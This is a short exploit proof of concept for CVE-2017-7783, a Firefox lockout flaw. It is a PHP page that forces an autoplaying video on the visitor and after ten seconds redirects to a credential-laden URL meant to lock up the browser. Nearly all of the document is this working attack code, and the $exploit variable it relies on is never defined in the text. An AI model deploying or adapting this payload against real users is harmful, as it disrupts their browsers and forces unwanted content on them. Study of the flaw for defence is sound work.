# CVE : CVE-2017-7783
# Affected Version: < Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
# Exploit Author: Amit Sangra
# Website: https://CyberCriminals.net

$location="https://Username".$exploit.":Password@Firefox.com";
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
//Content to be forcibly viewed
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";
//End
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";
